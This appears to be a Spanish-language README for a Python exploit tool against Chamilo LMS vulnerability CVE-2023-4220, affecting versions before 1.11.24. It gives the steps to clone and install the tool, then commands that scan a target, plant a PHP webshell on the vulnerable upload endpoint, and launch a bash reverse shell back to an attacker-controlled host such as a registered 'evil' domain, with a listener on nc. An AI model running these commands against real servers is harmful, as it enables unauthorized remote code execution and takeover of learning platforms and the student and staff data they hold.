rai2en/cve-2023-4220-chamilo-lmsEste es un script escrito en Python que permite la explotación de la falla de seguridad del software LMS Chamilo descrita en CVE-2023-4220
Este script permite la explotación de la falla de seguridad del software Chamilo LMS descrita en CVE-2023-4220. El sistema es vulnerable en versiones anteriores a 1.11.24.
Clona el repositorio en tu máquina e instala las dependencias usando pip (se recomienda usar virtualenv para crear un entorno que separe estas instalaciones de las instalaciones globales)
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
pip install -r requirements.txt
El script necesita la URL objetivo con la ruta raíz de Chamilo (como http://example.com/chamilo, http://example.com o http://chamilo.example.com) y una acción a realizar (hay tres disponibles: scan, webshell y revshell).
Esta acción verificará si el objetivo es vulnerable al intentar acceder al endpoint /main/inc/lib/javascript/bigupload/files/.
python3 main.py -u http://example.com/chamilo -a scan
Esta acción creará un archivo webshell PHP en el endpoint vulnerable.
python3 main.py -u http://example.com/chamilo -a webshell
Esta acción creará y ejecutará un archivo bash reverse shell. Para ello, primero se creará un webshell usando el mismo método que en la acción anterior. Después, se ejecutarán algunos comandos para crear y ejecutar el archivo bash. Asegúrate de estar escuchando en el puerto que definiste con nc o cualquier otra utilidad para recibir la conexión inversa. Además, el host puede ser una IPv4 interna/pública válida (como 172.17.1.4 o 186.227.4.31) o el dominio que hayas registrado (como evil-vps.domainreg.net)
python3 main.py -u http://example.com/chamilo -a revshell
OBS: Pronto agregaré una opción de payload Windows para hosts Windows